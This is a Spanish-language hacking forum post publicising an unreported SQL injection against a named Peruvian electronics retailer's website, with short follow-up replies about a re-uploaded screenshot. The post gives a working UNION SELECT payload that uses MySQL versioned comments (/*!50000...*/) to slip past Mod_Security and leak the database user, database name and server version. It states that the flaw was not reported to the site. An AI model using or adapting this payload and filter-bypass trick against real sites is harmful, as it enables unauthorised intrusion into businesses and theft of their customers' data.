[SQLi] https://impulso.com.pe

Sitio : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Descripción Del Sitio : Venta de artículos electrónicos en Perú.

Descripción de la inyección : Bueno esta inyección necesito un poco mas de creatividad que lo normal ya que se necesito pasar por sobre Mod_Security, el cual intentaba atraparme en mi intento de inyección, pero con tiempo y paciencia al fin lo logre bypassear al agregar !50000 antes de los comandos SQL que filtraba .

• [SQLi] Inyección en URL (el resultado se la inyección se ve reflejado en la imagen, así que si miramos el código fuente veremos la inyección ).
     
  
      Url del sitio : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  
     Vector : -1%27/*!50000UNION*//*!50000SELECT*/1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5%20--+&cat_id=50
  
      xploit : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  
      Reportado: NO
  
      Autor: RREEDD

Muy bueno @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login la imagen está caida, puedes resubirla?

Gracias,

Un saludo!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muy bueno @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login la imagen está caida, puedes resubirla?

Gracias,

Un saludo!

Hola compañero @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login  imagen resubida  .